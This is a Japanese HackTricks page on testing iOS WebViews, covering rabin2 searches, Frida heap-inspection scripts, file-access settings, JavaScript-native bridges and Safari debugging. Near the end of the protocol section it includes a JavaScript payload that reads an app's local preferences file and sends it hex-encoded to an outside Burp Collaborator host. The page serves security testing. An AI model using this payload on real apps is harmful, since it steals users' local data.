279 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# iOS WebViews
{{#include ../../banners/hacktricks-training.md}}
このページのコードは[こちら](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)から抽出されました。詳細についてはページを確認してください。
## WebViewsの種類
WebViewsは、アプリケーション内でインタラクティブにウェブコンテンツを表示するために利用されます。さまざまな種類のWebViewsは、iOSアプリケーションに異なる機能とセキュリティ機能を提供します。以下は簡単な概要です
- **UIWebView**は、**JavaScript**を無効にするサポートがないため、iOS 12以降は推奨されなくなりました。これにより、スクリプトインジェクションや**Cross-Site Scripting (XSS)**攻撃に対して脆弱です。
- **WKWebView**は、アプリにウェブコンテンツを組み込むための推奨オプションで、コンテンツとセキュリティ機能に対する制御が強化されています。**JavaScript**はデフォルトで有効ですが、必要に応じて無効にすることができます。また、**JavaScript**が自動的にウィンドウを開かないようにする機能をサポートし、すべてのコンテンツが安全に読み込まれることを保証します。さらに、**WKWebView**のアーキテクチャは、メインアプリプロセスに影響を与えるメモリ破損のリスクを最小限に抑えます。
- **SFSafariViewController**は、アプリ内で標準化されたウェブブラウジング体験を提供し、読み取り専用のアドレスフィールド、共有およびナビゲーションボタン、Safariでコンテンツを開くための直接リンクを含む特定のレイアウトで認識されます。**WKWebView**とは異なり、**SFSafariViewController**では**JavaScript**を無効にすることができず、Safariとクッキーやデータを共有し、アプリからユーザーのプライバシーを維持します。App Storeのガイドラインに従って、目立つように表示する必要があります。
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## WebViews 設定探索の概要
### **静的分析の概要**
**WebViews** 設定を調査する過程で、主に二つのタイプに焦点が当てられます: **UIWebView****WKWebView**。バイナリ内でこれらの WebViews を特定するために、特定のクラス参照と初期化メソッドを検索するコマンドが利用されます。
- **UIWebView の特定**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
このコマンドは、バイナリ内の関連するテキスト文字列を検索することによって、**UIWebView**のインスタンスを特定するのに役立ちます。
- **WKWebViewの識別**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
同様に、**WKWebView**については、このコマンドがその使用を示すテキスト文字列をバイナリ内で検索します。
さらに、**WKWebView**がどのように初期化されるかを見つけるために、次のコマンドが実行され、その初期化に関連するメソッドシグネチャをターゲットにします:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **JavaScript設定の確認**
**WKWebView**では、必要でない限りJavaScriptを無効にすることがベストプラクティスであると強調されています。コンパイルされたバイナリを検索して、`javaScriptEnabled`プロパティが`false`に設定されていることを確認し、JavaScriptが無効になっていることを保証します
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **安全なコンテンツのみの検証**
**WKWebView** は、**UIWebView** と対照的に、混合コンテンツの問題を特定する機能を提供します。これは、すべてのページリソースが安全な接続を通じて読み込まれることを確認するために `hasOnlySecureContent` プロパティを使用してチェックされます。コンパイルされたバイナリ内の検索は次のように行われます:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **動的分析の洞察**
動的分析は、WebViewインスタンスとそのプロパティのためにヒープを検査することを含みます。この目的のために、`webviews_inspector.js`というスクリプトが使用され、`UIWebView``WKWebView`、および`SFSafariViewController`インスタンスを対象としています。見つかったインスタンスに関する情報、URL、およびJavaScriptと安全なコンテンツに関連する設定がログに記録されます。
ヒープ検査は、`ObjC.choose()`を使用してWebViewインスタンスを特定し、`javaScriptEnabled`および`hasonlysecurecontent`プロパティを確認することで実施できます。
```javascript:webviews_inspector.js
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
```
スクリプトは次のように実行されます:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**主要な成果**:
- WebViewsのインスタンスが正常に特定され、検査されました。
- JavaScriptの有効化と安全なコンテンツ設定が確認されました。
この要約は、JavaScriptの有効化や混合コンテンツの検出などのセキュリティ機能に焦点を当て、静的および動的アプローチを通じてWebViewの構成を分析する際に関与する重要なステップとコマンドを要約しています。
## WebViewプロトコル処理
WebViews内のコンテンツを処理することは重要な側面であり、特に`http(s)://`、`file://`、および`tel://`などのさまざまなプロトコルを扱う際に重要です。これらのプロトコルは、アプリ内でリモートおよびローカルコンテンツの両方を読み込むことを可能にします。ローカルコンテンツを読み込む際には、ユーザーがファイルの名前やパスに影響を与えたり、コンテンツ自体を編集したりできないように注意が必要であることが強調されています。
**WebViews**は、コンテンツの読み込みに異なる方法を提供します。現在は非推奨の**UIWebView**では、`loadHTMLString:baseURL:`や`loadData:MIMEType:textEncodingName:baseURL:`のようなメソッドが使用されます。一方、**WKWebView**は、ウェブコンテンツのために`loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:`、および`loadRequest:`を使用します。ローカルファイルを読み込むためには、通常`pathForResource:ofType:`、`URLForResource:withExtension:`、および`init(contentsOf:encoding:)`のようなメソッドが利用されます。`loadFileURL:allowingReadAccessToURL:`メソッドは、特定のURLまたはディレクトリをWebViewに読み込む能力が特に注目されており、ディレクトリが指定された場合には機密データが露出する可能性があります。
これらのメソッドをソースコードやコンパイルされたバイナリ内で見つけるためには、次のようなコマンドを使用できます:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
**ファイルアクセス**に関して、UIWebViewは普遍的に許可されていますが、WKWebViewはファイルURLからのアクセスを管理するために`allowFileAccessFromFileURLs`と`allowUniversalAccessFromFileURLs`の設定を導入しており、両方ともデフォルトではfalseです。
セキュリティ設定のために**WKWebView**の構成を検査するためのFridaスクリプトの例が提供されています:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
最後に、ローカルファイルを抽出することを目的としたJavaScriptペイロードの例は、適切に構成されていないWebViewに関連する潜在的なセキュリティリスクを示しています。このペイロードは、ファイルの内容を16進数形式にエンコードしてからサーバーに送信し、WebViewの実装における厳格なセキュリティ対策の重要性を強調しています。
```javascript
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
```
## ネイティブメソッドがWebViewを通じて公開される
## iOSにおけるWebViewネイティブインターフェースの理解
iOS 7以降、Appleは**WebView内のJavaScriptとネイティブ** SwiftまたはObjective-Cオブジェクト間の通信のためのAPIを提供しました。この統合は主に2つのメソッドを通じて実現されます
- **JSContext**: SwiftまたはObjective-Cブロックが`JSContext`内の識別子にリンクされると、自動的にJavaScript関数が作成されます。これにより、JavaScriptとネイティブコード間のシームレスな統合と通信が可能になります。
- **JSExportプロトコル**: `JSExport`プロトコルを継承することで、ネイティブプロパティ、インスタンスメソッド、およびクラスメソッドをJavaScriptに公開できます。これは、JavaScript環境で行われた変更がネイティブ環境に反映され、その逆も同様であることを意味します。ただし、この方法で機密データが意図せず公開されないようにすることが重要です。
### Objective-Cでの`JSContext`へのアクセス
Objective-Cでは、`UIWebView`の`JSContext`は次のコード行で取得できます:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### `WKWebView`との通信
`WKWebView`では、`JSContext`への直接アクセスは利用できません。代わりに、`postMessage`関数を通じてメッセージの送信が利用され、JavaScriptとネイティブの通信が可能になります。これらのメッセージのハンドラーは以下のように設定され、JavaScriptがネイティブアプリケーションと安全に対話できるようになります
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### インタラクションとテスト
JavaScriptはスクリプトメッセージハンドラーを定義することでネイティブレイヤーとインタラクションできます。これにより、ウェブページからネイティブ関数を呼び出すなどの操作が可能になります
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
ネイティブ関数呼び出しの結果をキャプチャして操作するには、HTML内でコールバック関数をオーバーライドすることができます:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
```
ネイティブ側は、`JavaScriptBridgeMessageHandler`クラスに示されているように、JavaScript呼び出しを処理します。ここでは、数値の乗算などの操作の結果が処理され、表示またはさらなる操作のためにJavaScriptに送信されます。
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## iOS WebViewsのデバッグ
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
iOS webviews内のウェブコンテンツを効果的にデバッグするには、`console.log()`に送信されたメッセージがXcodeのログに表示されないため、Safariの開発者ツールを使用した特定のセットアップが必要です。以下は、重要なステップと要件を強調した簡略ガイドです
- **iOSデバイスの準備**: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、**設定 > Safari > 詳細**に移動し、_Web Inspector_を有効にすることで行います。
- **macOSデバイスの準備**: macOS開発マシンでSafari内の開発者ツールを有効にする必要があります。Safariを起動し、**Safari > 環境設定 > 詳細**にアクセスし、_Developメニューを表示_するオプションを選択します。
- **接続とデバッグ**: iOSデバイスをmacOSコンピュータに接続し、アプリケーションを起動した後、macOSデバイスのSafariを使用してデバッグしたいwebviewを選択します。Safariのメニューバーで_Develop_に移動し、iOSデバイスの名前にカーソルを合わせてwebviewインスタンスのリストを表示し、検査したいインスタンスを選択します。この目的のために新しいSafari Web Inspectorウィンドウが開きます。
ただし、制限に注意してください:
- この方法でのデバッグにはmacOSデバイスが必要です。これはSafariに依存しています。
- Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリのwebviewは、この方法でデバッグできません。
## 参考文献
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{{#include ../../banners/hacktricks-training.md}}